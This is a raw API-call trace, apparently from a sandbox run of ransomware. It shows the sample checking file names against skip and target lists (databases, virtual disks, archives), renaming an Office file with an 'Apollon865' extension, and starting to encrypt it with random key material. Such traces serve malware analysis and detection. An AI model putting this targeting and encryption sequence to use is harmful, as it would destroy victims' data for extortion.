	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="temp") returned -1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="boot") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0083.731] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0083.731] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned 71
	[0083.731] lstrcpyW (in: lpString1=0x119e670, lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll"
	[0083.731] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0083.731] lstrlenW (lpString="Apollon865") returned 10
	[0083.731] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0083.731] lstrlenW (lpString=".dll") returned 4
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0083.731] lstrlenW (lpString=".lnk") returned 4
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0083.731] lstrlenW (lpString=".ini") returned 4
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0083.731] lstrlenW (lpString=".sys") returned 4
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0083.731] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0083.731] lstrlenW (lpString="bak") returned 3
	[0083.731] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.731] lstrlenW (lpString="ba_") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.732] lstrlenW (lpString="dbb") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.732] lstrlenW (lpString="vmdk") returned 4
	[0083.732] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.732] lstrlenW (lpString="rar") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.732] lstrlenW (lpString="zip") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.732] lstrlenW (lpString="tgz") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.732] lstrlenW (lpString="vbox") returned 4
	[0083.732] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.732] lstrlenW (lpString="vdi") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.732] lstrlenW (lpString="vhd") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.732] lstrlenW (lpString="vhdx") returned 4
	[0083.732] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.732] lstrlenW (lpString="avhd") returned 4
	[0083.732] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.732] lstrlenW (lpString="db") returned 2
	[0083.732] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.732] lstrlenW (lpString="db2") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.732] lstrlenW (lpString="db3") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.732] lstrlenW (lpString="dbf") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.732] lstrlenW (lpString="mdf") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.732] lstrlenW (lpString="mdb") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.732] lstrlenW (lpString="sql") returned 3
	[0083.732] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.732] lstrlenW (lpString="sqlite") returned 6
	[0083.732] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.732] lstrlenW (lpString="sqlite3") returned 7
	[0083.733] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.733] lstrlenW (lpString="sqlitedb") returned 8
	[0083.733] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.733] lstrlenW (lpString="xml") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.733] lstrlenW (lpString="$er") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.733] lstrlenW (lpString="4dd") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.733] lstrlenW (lpString="4dl") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.733] lstrlenW (lpString="^^^") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.733] lstrlenW (lpString="abs") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.733] lstrlenW (lpString="abx") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.733] lstrlenW (lpString="accdb") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.733] lstrlenW (lpString="accdc") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.733] lstrlenW (lpString="accde") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.733] lstrlenW (lpString="accdr") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.733] lstrlenW (lpString="accdt") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.733] lstrlenW (lpString="accdw") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.733] lstrlenW (lpString="accft") returned 5
	[0083.733] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.733] lstrlenW (lpString="adb") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.733] lstrlenW (lpString="adb") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.733] lstrlenW (lpString="ade") returned 3
	[0083.733] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.734] lstrlenW (lpString="adf") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.734] lstrlenW (lpString="adn") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.734] lstrlenW (lpString="adp") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.734] lstrlenW (lpString="alf") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.734] lstrlenW (lpString="ask") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.734] lstrlenW (lpString="btr") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.734] lstrlenW (lpString="cat") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.734] lstrlenW (lpString="cdb") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.734] lstrlenW (lpString="ckp") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.734] lstrlenW (lpString="cma") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.734] lstrlenW (lpString="cpd") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.734] lstrlenW (lpString="dacpac") returned 6
	[0083.734] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.734] lstrlenW (lpString="dad") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.734] lstrlenW (lpString="dadiagrams") returned 10
	[0083.734] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0083.734] lstrlenW (lpString="daschema") returned 8
	[0083.734] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.734] lstrlenW (lpString="db-journal") returned 10
	[0083.734] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0083.734] lstrlenW (lpString="db-shm") returned 6
	[0083.734] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.734] lstrlenW (lpString="db-wal") returned 6
	[0083.734] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.734] lstrlenW (lpString="dbc") returned 3
	[0083.734] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.735] lstrlenW (lpString="dbs") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.735] lstrlenW (lpString="dbt") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.735] lstrlenW (lpString="dbv") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.735] lstrlenW (lpString="dbx") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.735] lstrlenW (lpString="dcb") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.735] lstrlenW (lpString="dct") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.735] lstrlenW (lpString="dcx") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.735] lstrlenW (lpString="ddl") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.735] lstrlenW (lpString="dlis") returned 4
	[0083.735] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.735] lstrlenW (lpString="dp1") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.735] lstrlenW (lpString="dqy") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.735] lstrlenW (lpString="dsk") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.735] lstrlenW (lpString="dsn") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.735] lstrlenW (lpString="dtsx") returned 4
	[0083.735] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.735] lstrlenW (lpString="dxl") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.735] lstrlenW (lpString="eco") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.735] lstrlenW (lpString="ecx") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.735] lstrlenW (lpString="edb") returned 3
	[0083.735] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.735] lstrlenW (lpString="epim") returned 4
	[0083.735] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.735] lstrlenW (lpString="fcd") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.736] lstrlenW (lpString="fdb") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.736] lstrlenW (lpString="fic") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.736] lstrlenW (lpString="flexolibrary") returned 12
	[0083.736] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0083.736] lstrlenW (lpString="fm5") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.736] lstrlenW (lpString="fmp") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.736] lstrlenW (lpString="fmp12") returned 5
	[0083.736] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.736] lstrlenW (lpString="fmpsl") returned 5
	[0083.736] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.736] lstrlenW (lpString="fol") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.736] lstrlenW (lpString="fp3") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.736] lstrlenW (lpString="fp4") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.736] lstrlenW (lpString="fp5") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.736] lstrlenW (lpString="fp7") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.736] lstrlenW (lpString="fpt") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.736] lstrlenW (lpString="frm") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.736] lstrlenW (lpString="gdb") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.736] lstrlenW (lpString="gdb") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.736] lstrlenW (lpString="grdb") returned 4
	[0083.736] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.736] lstrlenW (lpString="gwi") returned 3
	[0083.736] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.737] lstrlenW (lpString="hdb") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.737] lstrlenW (lpString="his") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.737] lstrlenW (lpString="ib") returned 2
	[0083.737] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.737] lstrlenW (lpString="idb") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.737] lstrlenW (lpString="ihx") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.737] lstrlenW (lpString="itdb") returned 4
	[0083.737] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.737] lstrlenW (lpString="itw") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.737] lstrlenW (lpString="jet") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.737] lstrlenW (lpString="jtx") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.737] lstrlenW (lpString="kdb") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.737] lstrlenW (lpString="kexi") returned 4
	[0083.737] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.737] lstrlenW (lpString="kexic") returned 5
	[0083.737] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.737] lstrlenW (lpString="kexis") returned 5
	[0083.737] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.737] lstrlenW (lpString="lgc") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.737] lstrlenW (lpString="lwx") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.737] lstrlenW (lpString="maf") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.737] lstrlenW (lpString="maq") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.737] lstrlenW (lpString="mar") returned 3
	[0083.737] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.737] lstrlenW (lpString="marshal") returned 7
	[0083.738] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.738] lstrlenW (lpString="mas") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.738] lstrlenW (lpString="mav") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.738] lstrlenW (lpString="maw") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.738] lstrlenW (lpString="mdbhtml") returned 7
	[0083.738] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.738] lstrlenW (lpString="mdn") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.738] lstrlenW (lpString="mdt") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.738] lstrlenW (lpString="mfd") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.738] lstrlenW (lpString="mpd") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.738] lstrlenW (lpString="mrg") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.738] lstrlenW (lpString="mud") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.738] lstrlenW (lpString="mwb") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.738] lstrlenW (lpString="myd") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.738] lstrlenW (lpString="ndf") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.738] lstrlenW (lpString="nnt") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.738] lstrlenW (lpString="nrmlib") returned 6
	[0083.738] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.738] lstrlenW (lpString="ns2") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.738] lstrlenW (lpString="ns3") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.738] lstrlenW (lpString="ns4") returned 3
	[0083.738] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.738] lstrlenW (lpString="nsf") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.739] lstrlenW (lpString="nv") returned 2
	[0083.739] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.739] lstrlenW (lpString="nv2") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.739] lstrlenW (lpString="nwdb") returned 4
	[0083.739] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.739] lstrlenW (lpString="nyf") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.739] lstrlenW (lpString="odb") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.739] lstrlenW (lpString="odb") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.739] lstrlenW (lpString="oqy") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.739] lstrlenW (lpString="ora") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.739] lstrlenW (lpString="orx") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.739] lstrlenW (lpString="owc") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.739] lstrlenW (lpString="p96") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.739] lstrlenW (lpString="p97") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.739] lstrlenW (lpString="pan") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.739] lstrlenW (lpString="pdb") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.739] lstrlenW (lpString="pdm") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.739] lstrlenW (lpString="pnz") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.739] lstrlenW (lpString="qry") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.739] lstrlenW (lpString="qvd") returned 3
	[0083.739] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.740] lstrlenW (lpString="rbf") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.740] lstrlenW (lpString="rctd") returned 4
	[0083.740] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.740] lstrlenW (lpString="rod") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.740] lstrlenW (lpString="rodx") returned 4
	[0083.740] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.740] lstrlenW (lpString="rpd") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.740] lstrlenW (lpString="rsd") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.740] lstrlenW (lpString="sas7bdat") returned 8
	[0083.740] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.740] lstrlenW (lpString="sbf") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.740] lstrlenW (lpString="scx") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.740] lstrlenW (lpString="sdb") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.740] lstrlenW (lpString="sdc") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.740] lstrlenW (lpString="sdf") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.740] lstrlenW (lpString="sis") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.740] lstrlenW (lpString="spq") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.740] lstrlenW (lpString="te") returned 2
	[0083.740] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.740] lstrlenW (lpString="teacher") returned 7
	[0083.740] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.740] lstrlenW (lpString="tmd") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.740] lstrlenW (lpString="tps") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.740] lstrlenW (lpString="trc") returned 3
	[0083.740] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.740] lstrlenW (lpString="trc") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.741] lstrlenW (lpString="trm") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.741] lstrlenW (lpString="udb") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.741] lstrlenW (lpString="udl") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.741] lstrlenW (lpString="usr") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.741] lstrlenW (lpString="v12") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.741] lstrlenW (lpString="vis") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.741] lstrlenW (lpString="vpd") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.741] lstrlenW (lpString="vvv") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.741] lstrlenW (lpString="wdb") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.741] lstrlenW (lpString="wmdb") returned 4
	[0083.741] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.741] lstrlenW (lpString="wrk") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.741] lstrlenW (lpString="xdb") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.741] lstrlenW (lpString="xld") returned 3
	[0083.741] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.741] lstrlenW (lpString="xmlff") returned 5
	[0083.741] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.741] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.Apollon865") returned 83
	[0083.741] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.747] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.747] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=107360) returned 1
	[0083.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.748] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.748] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.748] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.749] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a660, lpName=0x0) returned 0x15c
	[0083.750] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a660) returned 0x120000
	[0083.769] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.770] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.770] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
